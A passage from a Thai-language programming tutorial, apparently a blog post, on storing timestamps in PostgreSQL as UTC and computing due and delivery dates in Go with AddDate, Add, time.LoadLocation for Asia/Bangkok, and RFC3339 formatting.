&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07; </strong>(delivery_days)</p><p>&#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE47;&#xE1A; created_at &#xE41;&#xE1A;&#xE1A; UTC &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; delivery_days &#xE43;&#xE19; Database &#xE41;&#xE25;&#xE49;&#xE27;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; estimatedDelivery &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><figure class="kg-card kg-code-card"><pre><code>CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    created_at TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT CURRENT_TIMESTAMP,
    delivery_days INTEGER NOT NULL
);</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; CREATE TABLE &#xE43;&#xE19; PostgreSQL</figcaption></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Table &quot;<strong>order</strong>&quot; &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; PostgreSQL &#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; created_at &#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; UTC <strong>&#xE41;&#xE15;&#xE48; Go &#xE08;&#xE30;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; time.Time &#xE43;&#xE19; Zone &#xE40;&#xE27;&#xE25;&#xE32; Local &#xE02;&#xE2D;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;</strong> &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; estimatedDelivery &#xE44;&#xE14;&#xE49;&#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>func CalculateEstimatedDelivery(createdAt time.Time, deliveryDays int) time.Time {
    return createdAt.AddDate(0, 0, deliveryDays)
}

// &#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49; UTC &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;
estimatedDelivery := CalculateEstimatedDelivery(order.CreatedAt.UTC(), order.DeliveryDays)</code></pre><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49; TIMESTAMP WITH TIME ZONE &#xE43;&#xE19; PostgreSQL &#xE40;&#xE27;&#xE25;&#xE32;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; UTC (UTC+0) &#xE40;&#xE2A;&#xE21;&#xE2D; &#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32; Timezone &#xE2D;&#xE37;&#xE48;&#xE19; &#xE41;&#xE15;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE08;&#xE32;&#xE01; UTC &#xE40;&#xE1B;&#xE47;&#xE19; Timezone &#xE02;&#xE2D;&#xE07; Client &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;</p><p><strong>AddDate</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; time.Time &#xE43;&#xE19; Go &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE25;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Parameter 3 &#xE15;&#xE31;&#xE27; &#xE04;&#xE37;&#xE2D; <strong>Years</strong>, <strong>Months</strong> &#xE41;&#xE25;&#xE30; <strong>Days</strong> &#xE42;&#xE14;&#xE22; <strong>AddDate &#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE32;&#xE21;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1B;&#xE35;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</strong> &#xE40;&#xE0A;&#xE48;&#xE19; &#xE2B;&#xE32;&#xE01;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19; &#xE04;&#xE37;&#xE2D; 31 &#xE21;&#xE35;&#xE19;&#xE32;&#xE04;&#xE21; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; 1 &#xE40;&#xE14;&#xE37;&#xE2D;&#xE19; &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; 30 &#xE40;&#xE21;&#xE29;&#xE32;&#xE22;&#xE19; (&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE21;&#xE29;&#xE32;&#xE22;&#xE19;&#xE21;&#xE35; 30 &#xE27;&#xE31;&#xE19;) &#xE43;&#xE19; Go &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Function &quot;Add&quot; &#xE41;&#xE17;&#xE19; &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE32;&#xE21;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1B;&#xE35;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE1A;&#xE31;&#xE15;&#xE23;&#xE40;&#xE04;&#xE23;&#xE14;&#xE34;&#xE15;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE23;&#xE2D;&#xE1A;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE2A;&#xE34;&#xE49;&#xE19;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE38;&#xE01;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48; 20 &#xE02;&#xE2D;&#xE07;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19; &#xE41;&#xE25;&#xE30;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; 25 &#xE27;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Function &quot;<strong>Add</strong>&quot; &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;time&quot;
)

func main() {
	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48; 20 &#xE21;&#xE01;&#xE23;&#xE32;&#xE04;&#xE21; 2024
	statementDate := time.Date(2024, time.January, 20, 0, 0, 0, 0, time.UTC)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14; %v\n\n&quot;, statementDate)

	// &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Add
	dueDateAdd := statementDate.Add(25 * 24 * time.Hour)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30; %v\n&quot;, dueDateAdd)
	fmt.Printf(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE27;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;: %d\n\n&quot;, int(dueDateAdd.Sub(statementDate).Hours()/24))

	// &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE38;&#xE21;&#xE20;&#xE32;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C; (&#xE1B;&#xE35;&#xE2D;&#xE18;&#xE34;&#xE01;&#xE2A;&#xE38;&#xE23;&#xE17;&#xE34;&#xE19;)
	statementDateFeb := time.Date(2024, time.February, 20, 0, 0, 0, 0, time.UTC)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14; (&#xE01;&#xE38;&#xE21;&#xE20;&#xE32;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;) %v\n\n&quot;, statementDateFeb)

	dueDateAddFeb := statementDateFeb.Add(25 * 24 * time.Hour)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30; %v\n&quot;, dueDateAddFeb)
	fmt.Printf(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE27;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; %d\n&quot;, int(dueDateAddFeb.Sub(statementDateFeb).Hours()/24))
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-08-at-1.30.38-AM.png" class="kg-image" alt loading="lazy" width="1424" height="306" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-08-at-1.30.38-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-08-at-1.30.38-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-08-at-1.30.38-AM.png 1424w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE1A;&#xE1A; UTC &#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE21;&#xE34;&#xE15;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE21;&#xE32;&#xE01;&#xE19;&#xE31;&#xE01; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Format &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; <strong>ISO 8601 </strong>&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE2A;&#xE32;&#xE01;&#xE25; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Timezone &#xE04;&#xE23;&#xE1A;&#xE16;&#xE49;&#xE27;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE17;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-12.18.43-PM.png" class="kg-image" alt loading="lazy" width="880" height="338" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-07-at-12.18.43-PM.png 600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-12.18.43-PM.png 880w" sizes="(min-width: 720px) 720px"></figure><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; ISO 8601 Format &#xE15;&#xE32;&#xE21; Timezone &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21; <strong>&#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A; Timezone &#xE02;&#xE2D;&#xE07; User &#xE25;&#xE07; Database &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19; Timezone &#xE02;&#xE2D;&#xE07;&#xE1E;&#xE27;&#xE01;&#xE40;&#xE02;&#xE32;</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE21;&#xE2D;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE41;&#xE01;&#xE48; User</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Function &quot;<strong>time.LoadLocation</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE42;&#xE2B;&#xE25;&#xE14; Location &#xE08;&#xE32;&#xE01; Timezone &#xE02;&#xE2D;&#xE07; User &#xE40;&#xE0A;&#xE48;&#xE19; Asia/Bangkok &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; <strong>loc</strong> &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; Go (time.Time)</p><pre><code>userTimezone := &quot;Asia/Bangkok&quot;
userLocation, err := time.LoadLocation(userTimezone)
statementDateLocal := statementDate.In(userLocation)</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE39; Location &#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; &#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>Asia/Bangkok</strong></p><pre><code>fmt.Printf(&quot;Location: %v\n&quot;, statementDateLocal.Location())</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-10-at-1.03.15-AM.png" class="kg-image" alt loading="lazy" width="1404" height="34" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-10-at-1.03.15-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-10-at-1.03.15-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-10-at-1.03.15-AM.png 1404w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE15;&#xE32;&#xE21; ISO 8601 Format &#xE14;&#xE49;&#xE27;&#xE22; Function &quot;<strong>Format</strong>&quot; &#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Parameter &#xE40;&#xE1B;&#xE47;&#xE19; <strong>time.RFC3339</strong></p><pre><code>fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14; %v\n\n&quot;, statementDateLocal.Format(time.RFC3339))</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; &#xE04;&#xE37;&#xE2D; Code &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE15;&#xE32;&#xE21; ISO 8601 Format &#xE14;&#xE49;&#xE27;&#xE22; Timezone &quot;Asia/Bangkok&quot; &#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;time&quot;
)

func main() {
	// &#xE42;&#xE2B;&#xE25;&#xE14; Timezone &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;
	userTimezone := &quot;Asia/Bangkok&quot;
	userLocation, err := time.LoadLocation(userTimezone)
	if err != nil {
		log.Fatal(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE42;&#xE2B;&#xE25;&#xE14; timezone &#xE44;&#xE14;&#xE49;:&quot;, err)
	}

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48; 20 &#xE21;&#xE01;&#xE23;&#xE32;&#xE04;&#xE21; 2024
	statementDate := time.Date(2024, time.January, 20, 0, 0, 0, 0, time.UTC)
	statementDateLocal := statementDate.In(userLocation)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14; %v\n\n&quot;, statementDateLocal.Format(time.RFC3339))

	// &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Add
	dueDateAdd := statementDate.Add(25 * 24 * time.Hour)
	dueDateAddLocal := dueDateAdd.In(userLocation)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30; %v\n&quot;, dueDateAddLocal.Format(time.RFC3339))
	fmt.Printf(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE27;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;: %d\n\n&quot;, int(dueDateAdd.Sub(statementDate).Hours()/24))

	// &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE14;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE38;&#xE21;&#xE20;&#xE32;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C; (&#xE1B;&#xE35;&#xE2D;&#xE18;&#xE34;&#xE01;&#xE2A;&#xE38;&#xE23;&#xE17;&#xE34;&#xE19;)
	statementDateFeb := time.Date(2024, time.February, 20, 0, 0, 0, 0, time.UTC)
	statementDateFebLocal := statementDateFeb.In(userLocation)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14; (&#xE01;&#xE38;&#xE21;&#xE20;&#xE32;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;) %v\n\n&quot;, statementDateFebLocal.Format(time.RFC3339))

	dueDateAddFeb := statementDateFeb.Add(25 * 24 * time.Hour)
	dueDateAddFebLocal := dueDateAddFeb.In(userLocation)
	fmt.Printf(&quot;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE0A;&#xE33;&#xE23;&#xE30; %v\n&quot;, dueDateAddFebLocal.Format(time.RFC3339))
	fmt.Printf(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE27;&#xE31;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE27;&#xE31;&#xE19;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE22;&#xE2D;&#xE14;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; %d\n&quot;, int(dueDateAddFeb.Sub(statementDateFeb).Hours()/24))
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-08-at-2.02.08-AM.png" class="kg-image" alt loading="lazy" width="1262" height="306" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-08-at-2.02.08-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-08-at-2.02.08-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-08-at-2.02.08-AM.png 1262w" sizes="(min-width: 720px) 720px"></figure><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; <strong>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Add &#xE01;&#xE31;&#xE1A; statementDate &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE1A;&#xE1A; UTC &#xA0;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE40;&#xE27;&#xE25;&#xE32;&#xE15;&#xE32;&#xE21;&#xE24;&#xE14;&#xE39;&#xE01;&#xE32;&#xE25; (Daylight Saving Time) &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE2D;&#xE07; Timezone</strong></p><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE27;&#xE31;&#xE19;&#xE04;&#xE23;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE19; UTC &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Timezone &#xE02;&#xE2D;&#xE07; User 